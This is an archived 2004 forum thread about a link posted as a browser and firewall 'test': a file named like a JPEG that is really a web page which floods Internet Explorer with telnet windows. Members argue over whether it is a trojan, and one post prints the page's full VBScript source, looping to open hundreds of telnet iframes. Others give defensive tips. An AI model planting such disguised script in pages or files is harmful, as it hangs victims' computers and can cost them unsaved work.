PDA

View Full Version : Test Our Self



muchspl2
01-12-2004, 10:36 AM
warning do not click
if'n you don't have the very best in firewall and AV this will require you to reboot
please don't bitch if it requires you to reboot
again you have been warned do not click unless your ready :(


click if you dare (http://www.floggersg.com/pics/krystal.jpg)

good luck :)

EDITED FOR THE COMPLAINER!!!1

Cheese
01-12-2004, 10:45 AM
Well you weren't lying :lol: :lol: :lol:

I had to reboot :(

Couldn't resist clicking though... :rolleyes:

muchspl2
01-12-2004, 10:45 AM
oh and IBTL cause I'm not even kidding, this is a powerful

uNz[i]
01-12-2004, 11:22 AM
The image “http://www.floggersg.com/pics/krystal.jpg” cannot be displayed, because it contains errors.

pol
01-12-2004, 11:26 AM
floggerSG pwnz j00!


:(

muchspl2
01-12-2004, 11:32 AM
Originally posted by uNz[i]@12 January 2004 - 06:22

The image “http://www.floggersg.com/pics/krystal.jpg” cannot be displayed, because it contains errors.
please do not give people the false sense of security, beware any that use ie or browsers based on ie core :o

Yogi
01-12-2004, 11:35 AM
I think this topic should be deleted.

Posting a trojan is wrong.


Yogi

bigboab
01-12-2004, 11:40 AM
Originally posted by SensualGardening@12 January 2004 - 11:35
I think this topic should be deleted.

Posting a trojan is wrong.


Yogi
Totally agree.

muchspl2
01-12-2004, 11:44 AM
damn I knew there would be problems,
please do not click on the link, unless you're sure, this is not harmful and doesn't damage anything, it will require a reboot if your not prepared ;)

muchspl2
01-12-2004, 11:49 AM
Originally posted by SensualGardening@12 January 2004 - 06:35
I think this topic should be deleted.

Posting a trojan is wrong.


Yogi
just to add this is not a trojan
this is a simple telnet scrip, and when I say simple I mean simple ;)

pol
01-12-2004, 11:49 AM
its not a 'trojan', its more like a f/w test, and you dont really need to reboot if it does connect

Yogi
01-12-2004, 11:52 AM
It does not matter how harmless you might think it is.

It is a worm and a forced reboot can harm your pc.

Be a sport and edit it out.


Where are the MODS???


Yogi

muchspl2
01-12-2004, 11:53 AM
word
like I said, pleas don't bitch, just looking out, but if you run ie or clients that use ie (myie2 :o )
seriously thinking of Mozilla Firebird with all the plug ins

Yogi
01-12-2004, 11:54 AM
Originally posted by pol@12 January 2004 - 13:49
its not a 'trojan', its more like a f/w test, and you dont really need to reboot if it does connect
I don't care.

A hidden file with bad commands is bad.

Period.


Yogs

muchspl2
01-12-2004, 11:55 AM
Originally posted by SensualGardening@12 January 2004 - 06:52
It does not matter how harmless you might think it is.

It is a worm and a forced reboot can harm your pc.

Be a sport and edit it out.


Where are the MODS???


Yogi
please don't bitch, I warned you as best I could
why is there always one who thinks I have commented the ultimate sin

Yogi
01-12-2004, 11:57 AM
Originally posted by muchspl2+12 January 2004 - 13:55--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (muchspl2 @ 12 January 2004 - 13:55)</td></tr><tr><td id='QUOTE'> <!--QuoteBegin-SensualGardening@12 January 2004 - 06:52
It does not matter how harmless you might think it is.

It is a worm and a forced reboot can harm your pc.

Be a sport and edit it out.


Where are the MODS???


Yogi
please don&#39;t bitch, I warned you as best I could
why is there always one who thinks I have commented the ultimate sin [/b][/quote]
Yeah, i warned my neighbor too, before i killed him.

Stupid guy didn&#39;t believe me&#33;&#33;&#33;

Duhuh........

What is the fun??????


Yogi

muchspl2
01-12-2004, 11:59 AM
dude would you censer me if you passed the test :unsure:
I think not I have provided the proper warnings

Yogi
01-12-2004, 12:02 PM
Originally posted by muchspl2@12 January 2004 - 13:59
dude would you censer me if you passed the test :unsure:
I think not I have provided the proper warnings
:blink: Just as i gave proper warnings to my neighbor...........

Again: What is the fun......... :blink:

uNz[i]
01-12-2004, 12:02 PM
Originally posted by muchspl2+12 January 2004 - 21:02--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (muchspl2 @ 12 January 2004 - 21:02)</td></tr><tr><td id='QUOTE'> <!--QuoteBegin-uNz&#091;i
,12 January 2004 - 06:22]
The image “http://www.floggersg.com/pics/krystal.jpg” cannot be displayed, because it contains errors.
please do not give people the false sense of security, beware any that use ie or browsers based on ie core :o [/b][/quote]
Sorry, wasn&#39;t trying to lure anyone into a false sense of security.
I just posted the script that my browser returned is all.

Firebird + Sygate = :D & :01:

vivitron 15
01-12-2004, 12:02 PM
using IE with only nat router protection, i clicked the link :(


but, i must say its simple to get out of, if indeed you know how to use task manager to close the link. its a bastard and i got to around 150 windows before i managed to get out, but i did.


DONT CLICK IT

pol
01-12-2004, 12:02 PM
Originally posted by SensualGardening+12 January 2004 - 11:54--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (SensualGardening &#064; 12 January 2004 - 11:54)</td></tr><tr><td id='QUOTE'><!--QuoteBegin-pol@12 January 2004 - 13:49
its not a &#39;trojan&#39;, its more like a f/w test, and you dont really need to reboot if it does connect
I don&#39;t care.

A hidden file with bad commands is bad.

Period.


Yogs[/b][/quote]
the &#39;warning&#39; couldnt have been much clearer

i dont think it should be deleted, maybe moved. there have been tons of topics about the &#39;best&#39; firewalls/settings lately, and if you&#39;ve got your settings right you should be able to deal with it

bigboab
01-12-2004, 12:05 PM
Originally posted by pol+12 January 2004 - 12:02--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (pol &#064; 12 January 2004 - 12:02)</td></tr><tr><td id='QUOTE'>
Originally posted by SensualGardening@12 January 2004 - 11:54
<!--QuoteBegin-pol@12 January 2004 - 13:49
its not a &#39;trojan&#39;, its more like a f/w test, and you dont really need to reboot if it does connect
I don&#39;t care.

A hidden file with bad commands is bad.

Period.


Yogs
the &#39;warning&#39; couldnt have been much clearer

i dont think it should be deleted, maybe moved. there have been tons of topics about the &#39;best&#39; firewalls/settings lately, and if you&#39;ve got your settings right you should be able to deal with it [/b][/quote]
And what about members who are networked and dont realise the extent of there firewalls. Thre was no warning about that.

pol
01-12-2004, 12:08 PM
Originally posted by bigboab+12 January 2004 - 12:05--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (bigboab &#064; 12 January 2004 - 12:05)</td></tr><tr><td id='QUOTE'>
Originally posted by pol@12 January 2004 - 12:02

Originally posted by SensualGardening@12 January 2004 - 11:54
<!--QuoteBegin-pol@12 January 2004 - 13:49
its not a &#39;trojan&#39;, its more like a f/w test, and you dont really need to reboot if it does connect
I don&#39;t care.

A hidden file with bad commands is bad.

Period.


Yogs
the &#39;warning&#39; couldnt have been much clearer

i dont think it should be deleted, maybe moved. there have been tons of topics about the &#39;best&#39; firewalls/settings lately, and if you&#39;ve got your settings right you should be able to deal with it
And what about members who are networked and dont realise the extent of there firewalls. Thre was no warning about that.[/b][/quote]
as i said maybe it should be moved, but as vivitron said you dont need to rely on your firewall to close it

Yogi
01-12-2004, 12:08 PM
Originally posted by pol+12 January 2004 - 14:02--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (pol @ 12 January 2004 - 14:02)</td></tr><tr><td id='QUOTE'>
Originally posted by SensualGardening@12 January 2004 - 11:54
<!--QuoteBegin-pol@12 January 2004 - 13:49
its not a &#39;trojan&#39;, its more like a f/w test, and you dont really need to reboot if it does connect
I don&#39;t care.

A hidden file with bad commands is bad.

Period.


Yogs
the &#39;warning&#39; couldnt have been much clearer

i dont think it should be deleted, maybe moved. there have been tons of topics about the &#39;best&#39; firewalls/settings lately, and if you&#39;ve got your settings right you should be able to deal with it [/b][/quote]
brrrrrrrr.......

fine mods we have.........


"It&#39;s fine if someone digs a hole for you to walk in, as long if there &#39;s enough signs

saying it&#39;s coming.........."

Never mind the visually impaired.......

Real nice........

Yogi-WhoDidn&#39;tHaveToBootBTW

muchspl2
01-12-2004, 12:09 PM
Originally posted by bigboab+12 January 2004 - 07:05--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (bigboab @ 12 January 2004 - 07:05)</td></tr><tr><td id='QUOTE'>
Originally posted by pol@12 January 2004 - 12:02

Originally posted by SensualGardening@12 January 2004 - 11:54
<!--QuoteBegin-pol@12 January 2004 - 13:49
its not a &#39;trojan&#39;, its more like a f/w test, and you dont really need to reboot if it does connect
I don&#39;t care.

A hidden file with bad commands is bad.

Period.


Yogs
the &#39;warning&#39; couldnt have been much clearer

i dont think it should be deleted, maybe moved. there have been tons of topics about the &#39;best&#39; firewalls/settings lately, and if you&#39;ve got your settings right you should be able to deal with it
And what about members who are networked and dont realise the extent of there firewalls. Thre was no warning about that. [/b][/quote]
there wouldn&#39;t be any threads if we had to worry if people were skurred to click, don&#39;t I tell you not to, I don&#39;t get it, this is a test not a link to click for the hell of it :confused:

muchspl2
01-12-2004, 12:10 PM
Originally posted by SensualGardening+12 January 2004 - 07:08--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (SensualGardening @ 12 January 2004 - 07:08)</td></tr><tr><td id='QUOTE'>
Originally posted by pol@12 January 2004 - 14:02

Originally posted by SensualGardening@12 January 2004 - 11:54
<!--QuoteBegin-pol@12 January 2004 - 13:49
its not a &#39;trojan&#39;, its more like a f/w test, and you dont really need to reboot if it does connect
I don&#39;t care.

A hidden file with bad commands is bad.

Period.


Yogs
the &#39;warning&#39; couldnt have been much clearer

i dont think it should be deleted, maybe moved. there have been tons of topics about the &#39;best&#39; firewalls/settings lately, and if you&#39;ve got your settings right you should be able to deal with it
brrrrrrrr.......

fine mods we have.........


"It&#39;s fine if someone digs a hole for you to walk in, as long if there &#39;s enough signs

saying it&#39;s coming.........."

Never mind the visually impaired.......

Real nice........

Yogi-WhoDidn&#39;tHaveToBootBTW [/b][/quote]
but but but..
I tell you not to click it :confused: this is a test of the willing

bujub22
01-12-2004, 12:10 PM
Originally posted by muchspl2+12 January 2004 - 08:09--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (muchspl2 @ 12 January 2004 - 08:09)</td></tr><tr><td id='QUOTE'>
Originally posted by bigboab@12 January 2004 - 07:05

Originally posted by pol@12 January 2004 - 12:02

Originally posted by SensualGardening@12 January 2004 - 11:54
<!--QuoteBegin-pol@12 January 2004 - 13:49
its not a &#39;trojan&#39;, its more like a f/w test, and you dont really need to reboot if it does connect
I don&#39;t care.

A hidden file with bad commands is bad.

Period.


Yogs
the &#39;warning&#39; couldnt have been much clearer

i dont think it should be deleted, maybe moved. there have been tons of topics about the &#39;best&#39; firewalls/settings lately, and if you&#39;ve got your settings right you should be able to deal with it
And what about members who are networked and dont realise the extent of there firewalls. Thre was no warning about that.
there wouldn&#39;t be any threads if we had to worry if people were skurred to click, don&#39;t I tell you not to, I don&#39;t get it, this is a test not a link to click for the hell of it :confused: [/b][/quote]
true u gave a heap of warning and i clicked on it had to reboot ,but now i know i gotta fix my firewalls thanx


:angry: winers

muchspl2
01-12-2004, 12:12 PM
peace :)
even if this get closed now, I know I helped 1 person
I just want to get the word out

Yogi
01-12-2004, 12:13 PM
Don&#39;t watch the coming picture.

You might feel insulted.

I warn you, don&#39;t watch.........
















http://www.logosunlimited.co.uk/animations/dickhead.gif

pol
01-12-2004, 12:14 PM
Originally posted by SensualGardening@12 January 2004 - 12:08
brrrrrrrr.......

fine mods we have.........


"It&#39;s fine if someone digs a hole for you to walk in, as long if there &#39;s enough signs

saying it&#39;s coming.........."

Never mind the visually impaired.......

Real nice........

Yogi-WhoDidn&#39;tHaveToBootBTW


lol, would you have complained if it was elsewhere on the board ?

Yogi
01-12-2004, 12:16 PM
Originally posted by muchspl2+12 January 2004 - 14:10--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (muchspl2 @ 12 January 2004 - 14:10)</td></tr><tr><td id='QUOTE'>
Originally posted by SensualGardening@12 January 2004 - 07:08

Originally posted by pol@12 January 2004 - 14:02

Originally posted by SensualGardening@12 January 2004 - 11:54
<!--QuoteBegin-pol@12 January 2004 - 13:49
its not a &#39;trojan&#39;, its more like a f/w test, and you dont really need to reboot if it does connect
I don&#39;t care.

A hidden file with bad commands is bad.

Period.


Yogs
the &#39;warning&#39; couldnt have been much clearer

i dont think it should be deleted, maybe moved. there have been tons of topics about the &#39;best&#39; firewalls/settings lately, and if you&#39;ve got your settings right you should be able to deal with it
brrrrrrrr.......

fine mods we have.........


"It&#39;s fine if someone digs a hole for you to walk in, as long if there &#39;s enough signs

saying it&#39;s coming.........."

Never mind the visually impaired.......

Real nice........

Yogi-WhoDidn&#39;tHaveToBootBTW
but but but..
I tell you not to click it :confused: this is a test of the willing [/b][/quote]
Didn&#39;t click it.

I dl&#39;d it, then scanned it............

I&#39;m no winer.

If you want to test, go software or some place, not the lounge.........


Yogi

bujub22
01-12-2004, 12:18 PM
Originally posted by SensualGardening+12 January 2004 - 08:16--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (SensualGardening @ 12 January 2004 - 08:16)</td></tr><tr><td id='QUOTE'>
Originally posted by muchspl2@12 January 2004 - 14:10

Originally posted by SensualGardening@12 January 2004 - 07:08

Originally posted by pol@12 January 2004 - 14:02

Originally posted by SensualGardening@12 January 2004 - 11:54
<!--QuoteBegin-pol@12 January 2004 - 13:49
its not a &#39;trojan&#39;, its more like a f/w test, and you dont really need to reboot if it does connect
I don&#39;t care.

A hidden file with bad commands is bad.

Period.


Yogs
the &#39;warning&#39; couldnt have been much clearer

i dont think it should be deleted, maybe moved. there have been tons of topics about the &#39;best&#39; firewalls/settings lately, and if you&#39;ve got your settings right you should be able to deal with it
brrrrrrrr.......

fine mods we have.........


"It&#39;s fine if someone digs a hole for you to walk in, as long if there &#39;s enough signs

saying it&#39;s coming.........."

Never mind the visually impaired.......

Real nice........

Yogi-WhoDidn&#39;tHaveToBootBTW
but but but..
I tell you not to click it :confused: this is a test of the willing
Didn&#39;t click it.

I dl&#39;d it, then scanned it............

I&#39;m no winer.

If you want to test, go software or some place, not the lounge.........


Yogi [/b][/quote]
true softwre world or something

muchspl2
01-12-2004, 12:19 PM
if it has to be moved I understand, but this is a serious topic and I&#39;m 100% behind it, just didn&#39;t want backlash, but maybe its good to get people to relies how open ie is

bigboab
01-12-2004, 12:22 PM
1. If any computer file when executed on a computer causes the interference of the running of that computer to the extent that the computer has to be rebooted then that file is deemed to be a Trojan file.

2. Computer Science. A program that appears to be legitimate but is designed to have destructive effects, as to data residing in the computer onto which the program was loaded.

Yogi
01-12-2004, 12:22 PM
Originally posted by muchspl2@12 January 2004 - 14:19
if it has to be moved I understand, but this is a serious topic and I&#39;m 100% behind it, just didn&#39;t want backlash, but maybe its good to get people to relies how open ie is
Okay.

You&#39;re right about IE, but the lounge is not for those purposes, i think.

Please ask for a move to softwareworld.

Peace.

Yogi

UKMan
01-12-2004, 12:27 PM
IMHO the link should be deleted as the definition of a Trojan is clearly defined. The only reason i say this is because:

Even if you specifically asked people NOT to click - do you really think the average person on this board WONT CLICK? In that case you need to re-think. Even if the Trojan is "friendly" its still not cosha B)

I didnt click and i wont - i read enough of the posts before to be sensible enough not to ;)

Peace
UKMan

pol
01-12-2004, 12:31 PM
Originally posted by bigboab@12 January 2004 - 12:22
1. If any computer file when executed on a computer causes the interference of the running of that computer to the extent that the computer has to be rebooted then that file is deemed to be a Trojan file.

2. Computer Science. A program that appears to be legitimate but is designed to have destructive effects, as to data residing in the computer onto which the program was loaded.


i agree with your definitions, but i see the thread as a test and there has been a lot worse posted here to &#39;test&#39; things. i really dont think there would have been a problem if it had been posted in another section

muchspl2
01-12-2004, 12:32 PM
well I tell you not to open it this is like all the other test :(
you don&#39;t have to, but by your logic no one should post any links that compromise ie&#39;s security flaws :(

Yogi
01-12-2004, 12:36 PM
Originally posted by muchspl2@12 January 2004 - 14:32
well I tell you not to open it this is like all the other test :(
you don&#39;t have to, but by your logic no one should post any links that compromise ie&#39;s security flaws :(
Not with a direct link to the file.

A link to a page containing a test would be better.

Thanks.

Yogi



i really dont think there would have been a problem if it had been posted in another section

So????

pol
01-12-2004, 12:39 PM
Originally posted by SensualGardening@12 January 2004 - 12:36

i really dont think there would have been a problem if it had been posted in another section

So????


so if you dont like it here/at all then report it

UKMan
01-12-2004, 12:41 PM
Originally posted by pol+12 January 2004 - 13:31--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (pol @ 12 January 2004 - 13:31)</td></tr><tr><td id='QUOTE'> <!--QuoteBegin-bigboab@12 January 2004 - 12:22
1. If any computer file when executed on a computer causes the interference of the running of that computer to the extent that the computer has to be rebooted then that file is deemed to be a Trojan file.

2. Computer Science. A program that appears to be legitimate but is designed to have destructive effects, as to data residing in the computer onto which the program was loaded.


i agree with your definitions, but i see the thread as a test and there has been a lot worse posted here to &#39;test&#39; things. i really dont think there would have been a problem if it had been posted in another section [/b][/quote]
As a MOD pol i find your attitude a little disturbing, this is clearly a Trojan (friendly or otherwise) - people on this forum have other programmes open as well, even whilst browsing this forum - maybe something important like online chatting, or even a programme that keeps track of something.

A simple warning like the one given above is not enough. You know as well as i do that people WILL click on it - thinking wrongly that they have enough security to bypass the problems - not everyone here is as astute as you or i when it comes to having to reboot a puter everytime something goes wrong. Someone might even panic and do real damage <_<

I think the link should be DELETED or MOVED from the lounge to an area where you guys think its fun to that sort of thing - please&#33;&#33;

Peace
UKMan

Yogi
01-12-2004, 12:46 PM
Originally posted by UKMan+12 January 2004 - 14:41--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td>QUOTE (UKMan @ 12 January 2004 - 14:41)</td></tr><tr><td id='QUOTE'>
Originally posted by pol@12 January 2004 - 13:31
<!--QuoteBegin-bigboab@12 January 2004 - 12:22
1. If any computer file when executed on a computer causes the interference of the running of that computer to the extent that the computer has to be rebooted then that file is deemed to be a Trojan file.

2. Computer Science. A program that appears to be legitimate but is designed to have destructive effects, as to data residing in the computer onto which the program was loaded.


i agree with your definitions, but i see the thread as a test and there has been a lot worse posted here to &#39;test&#39; things. i really dont think there would have been a problem if it had been posted in another section
As a MOD pol i find your attitude a little disturbing, this is clearly a Trojan (friendly or otherwise) - people on this forum have other programmes open as well, even whilst browsing this forum - maybe something important like online chatting, or even a programme that keeps track of something.

A simple warning like the one given above is not enough. You know as well as i do that people WILL click on it - thinking wrongly that they have enough security to bypass the problems - not everyone here is as astute as you or i when it comes to having to reboot a puter everytime something goes wrong. Someone might even panic and do real damage <_<

I think the link should be DELETED or MOVED from the lounge to an area where you guys think its fun to that sort of thing - please&#33;&#33;

Peace
UKMan [/b][/quote]
Thanks.

Yogi


Pol: Report to?? A mod?? Like You??

Ahum....... :helpsmile:

bigboab
01-12-2004, 12:51 PM
One simple answer to all this wrangling would be for the person who posted this thread to add to the original post, instructions to members on how to get out of this test, if it goes wrong, without having to reboot their computer. If they are unable to do that then maybe Pol will help. If not then delete the link.

pol
01-12-2004, 12:55 PM
Originally posted by UKMan@12 January 2004 - 12:41
As a MOD pol i find your attitude a little disturbing
[memberhat=on] :1eye: i find your attitude a little disturbing too :holiday: [memberhat=off]


i think its only an issue here in this section. if you worry so much about members who dont know what to do (after they have already seen the warning) then why didnt / dont you report things like crack links / direct dl links of 600 virii etc etc


@yogi - i&#39;m not a global mod therefore i cant do anything about lounge topics, try using this http://filesharingtalk.com/style_images/1/p_report.gif

Busyman
01-12-2004, 12:56 PM
UKMan and Sensual

1. You were warned.

2. If I told you to walk into a dark room with cutting blades would you do it? Then again THIS wasn&#39;t that bad.

3. Providing a link to the page versus a direct link is the same difference because he warned us 1st.

4. Sensual you are bitching due to stupidity.

5. If you paid attention he actually helped you.

6. This does belong in Softwareworld.

7. Quit whining&#33;&#33; <_< You were not permanently damaged. If you had something that needed saving and clicked the link you are dumber the previously thought (that goes for anyone).

UKMan
01-12-2004, 01:08 PM
Nice to see it did get moved at last:

@pol
In what way do you find my attitude a little disturbing? - I have explained my reason, now explain yours please&#33;

A friendly fucking hat on your head dosnt make it any the better - :lol: <-- much less that one does&#33;


@Busyman
Read the post again and do try to understand - who&#39;s whining here - if thats the case both you, pol and myself - trying to fob it all off by saying that warnings were given just proves you dont understand what i have said - people will still CLICK - I DIDNT by the way - you obviously didnt read that either <_<


UKMan

Busyman
01-12-2004, 01:27 PM
Well originally you wanted it deleted.

Let people make their own decisions.

Yes you and Sensual were whining and it was quite obvious. <_<

pol
01-12-2004, 01:35 PM
Originally posted by UKMan@12 January 2004 - 13:08
Nice to see it did get moved at last:

@pol
In what way do you find my attitude a little disturbing? - I have explained my reason, now explain yours please&#33;

A friendly fucking hat on your head dosnt make it any the better - :lol: <-- much less that one does&#33;


@Busyman
Read the post again and do try to understand - who&#39;s whining here - if thats the case both you, pol and myself - trying to fob it all off by saying that warnings were given just proves you dont understand what i have said - people will still CLICK - I DIDNT by the way - you obviously didnt read that either <_<


UKMan
as to your problem with my attitude, the reason i dont have a problem with the post as i said already, there has been so many topics about the &#39;best&#39; fw/settings lately, so this might help people who dont know what to do with them or if their browser gets hijacked like this

as to my problem with your attitude, i have already explained to you before in a thread in the lounge a while back, i still stand by what i said in that thread. obviously you have a problem with my posts and i have a problem with yours. your concern in this thread is for those who dont know how to kill the process, the thread helps. my concern with your posts is that they mainly consist of smut and innuendo, which i dont care to read.

so if it comes down to the old "if you dont like it, dont read it or comment on it" arguement, then i could use the same in this case.



ps - it was&#39;nt supposed to be a "friendly f*cking hat",


:lol: <-- much less that one does&#33;

<_< <-- would that suffice

DVD PIRATE III
01-12-2004, 01:35 PM
well.I clicked it and nothing...
hope thats good

EDIT..I just realised it was a IE exploit..im using MYIE2. after a closer inspection of this i remember why I hate frames

Yogi
01-12-2004, 01:47 PM
Sensual you are bitching due to stupidity.

Haha&#33;&#33;&#33; :lol: :lol:

Yogs

imported_uncle_cracker
01-12-2004, 01:53 PM
Originally posted by muchspl2@12 January 2004 - 11:36
warning do not click
if&#39;n you don&#39;t have the very best in firewall and AV this will require you to reboot
please don&#39;t bitch if it requires you to reboot
again you have been warned do not click unless your ready :(


click if you dare (http://www.floggersg.com/pics/krystal.jpg)

good luck :)

EDITED FOR THE COMPLAINER&#33;&#33;&#33;1
very funny :01:

but there is no need to reboot.

first: my firewall blocked my telnet_app. so nothing happened

second: if i allow to connect then for sure i had to close my telnet app for several times.

but no need to reboot &#33;&#33;&#33;

and here it is:

<html>
<body>
<H1> floggerSG pwnz j00&#33; </H1>
&#60;script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://towel.blinkenlights.nl" + chr(34) + ">")
next
</script>
&#60;script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://towel.blinkenlights.nl" + chr(34) + ">")
next
</script>
&#60;script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://towel.blinkenlights.nl" + chr(34) + ">")
next
</script>
&#60;script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://towel.blinkenlights.nl" + chr(34) + ">")
next
</script>
&#60;script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://towel.blinkenlights.nl" + chr(34) + ">")
next
</script>
&#60;script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://towel.blinkenlights.nl" + chr(34) + ">")
next
</script>
&#60;script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://towel.blinkenlights.nl" + chr(34) + ">")
next
</script>
&#60;script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://towel.blinkenlights.nl" + chr(34) + ">")
next
</script>
&#60;script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://towel.blinkenlights.nl" + chr(34) + ">")
next
</script>
&#60;script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://towel.blinkenlights.nl" + chr(34) + ">")
next
</script>
&#60;script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://towel.blinkenlights.nl" + chr(34) + ">")
next
</script>
&#60;script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://towel.blinkenlights.nl" + chr(34) + ">")
next
</script>
&#60;script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://towel.blinkenlights.nl" + chr(34) + ">")
next
</script>
&#60;script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://towel.blinkenlights.nl" + chr(34) + ">")
next
</script>
&#60;script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://towel.blinkenlights.nl" + chr(34) + ">")
next
</script>
</body>
</html>

Busyman
01-12-2004, 01:59 PM
I agree. I did not need to reboot.
I had a similiar thing happen when used a program called Weatherbug.

imported_uncle_cracker
01-12-2004, 02:09 PM
i forgot:

for people who do not use a firewall:

just set your security options in ie explorer to HIGH especially let you prompt "active scripting".

ok: klick on the url ... and you are asked to prompt if a script should run

klick NO and then you can look at the source code of the.jpg file cause you know right now, that this is a file with script inside.

then YOU can decide if you want to run that script or not.

cu uncle_cracker

Samurai
01-12-2004, 04:34 PM
How would one do this using Sygate Pro? I can&#39;t seem to find anything regarding scripts in the options page. Also, would anyone recommend using &#39;stealth mode browsing&#39; using Sygate Pro.

Samurai :ph34r:

ck-uk
01-12-2004, 05:04 PM
Disable scripts mate through your browser settings.For ie ,at the top ,tools ,internet options ,security ,custom level,then have a scroll through the options.

Or install something like popupcop & you&#39;ll have all your internet setting with a click of the mouse , on/off. :)

vivitron 15
01-12-2004, 05:09 PM
or just close the original linked jpg in task manager, then close the telnet boxes.

Samurai
01-12-2004, 05:13 PM
Originally posted by ck&#045;uk@12 January 2004 - 16:04
Disable scripts mate through your browser settings.For ie ,at the top ,tools ,internet options ,security ,custom level,then have a scroll through the options.

Or install something like popupcop & you&#39;ll have all your internet setting with a click of the mouse , on/off. :)
Appreciated. I thought it was located in my firewall settings hehe





@ vivitron 15 - That&#39;s how I got out of the original problem :D

fkdup74
01-12-2004, 05:16 PM
thanks muchspl2 ;)
gonna run the test here in a few minutes

i dont see why people would bitch at all <_<

i ran all DVD&#39;s tests, and i&#39;m glad they were posted
his virus test, norton only caught 50% :o
f/w test, i got owned :o

that shattered my bullsh*t false sense of security :lol:
now i got 3 or 4 more f/w&#39;s to try out, gettin ready to check out new AV&#39;s

its thanks to much and DVD that i can see these flaws and try to fix em
(my first fix should be to dump IE :lol: :lol: :lol: )

B)

Samurai
01-12-2004, 05:26 PM
Agreed. These tests that we&#39;ve been seeing recently are just highlighting some of the potential dangers we, as a community, could find ourselves in.

When people whine that they&#39;ve had to reboot their PC because of this, do they ever stop to think about why they had to in the first place? Surely their top of the range &#39;Intel Pentium 10 with Sidewinder Missiles inc. Pentagon Grade Firewall&#39; should be able to stop these scripts.

I think this is a lesson for us all to take heed - there is threats out there far powerful then what we have been shown. If you can&#39;t at least acknowledge this, then may god have mercy on your PC.




@ FKDUP74 - Nice post. I recommend Mozilla.

ButWay
01-12-2004, 05:56 PM
I use MyIE clicked and lived

fkdup74
01-12-2004, 06:08 PM
Originally posted by Samurai@12 January 2004 - 09:26
Surely their top of the range &#39;Intel Pentium 10 with Sidewinder Missiles inc. Pentagon Grade Firewall&#39; should be able to stop these scripts.


@ FKDUP74 - Nice post. I recommend Mozilla.
:lol: :lol: :lol:
ROFLMFAO&#33;&#33;&#33;&#33;&#33;
you&#39;re feckin killin me bro :lol: too feckin funny :lol:
*dries eyes from lmfao*

but yeah, i got mozilla on disc somewhere
heh heh, got a lot of stuff on disc SOMEWHERE,
just have to dig it up :lol: :lol: :lol:
dont feel like d/l&#39;ing again :P :D

namzuf9
01-12-2004, 07:25 PM
Well I clicked it and used ZA to deny access and killed off IE without having to reboot. I got up to 143 telnet windows. All the windows flashing up almost gave me a seizure&#33; :frusty:

Its a nice little test and I dont mind them but I would prefer if the thread poster mentioned the contents of the link and it&#39;s affects. (Not wanting to bring up all that stuff before cos I think its good to have these little tests on here.)

Gotta agree with using another browser, I prefer Opera myself but got used to using IE again after reinstalling XP so I&#39;m just being sloppy&#33;

SeK612
01-12-2004, 07:41 PM
Nothing much happened :unsure:

An IE window opened and refreshed loads of times (blank page though). A telnet window opened and aload of text appeared in it (Star wars quotes and stuff).

It jammed my computer up a bit but I didn&#39;t need to reboot :)

muchspl2
01-12-2004, 08:32 PM
I was really surprised at the attitude from some members, this "test" is not malicious, and doesn&#39;t hurt anything, like i said worst case is you have to reboot

namzuf9
01-12-2004, 09:14 PM
I would&#39;nt call it malicious at all, although it could freak out a lesser experienced user&#33; I would&#39;nt off followed the link before knowing what to expect anyway.

Aside from disabling scripts in IE or getting rid of IE entirely what else can you use to protect yourself from "malicious" scripts?

Mik3ll
01-12-2004, 11:51 PM
When I did rightclick > save target as, McAfee poped up

http://www.chinkii.com/uploads/album/guys/dfgshhfsh.JPG

G2k1boy
01-13-2004, 12:13 AM
Long live Mozilla&#33; :D

namzuf9
01-13-2004, 07:18 PM
Originally posted by Mik3ll@13 January 2004 - 00:51
When I did rightclick > save target as, McAfee poped up

http://www.chinkii.com/uploads/album/guys/dfgshhfsh.JPG
I realy must get one of those AV thingies&#33;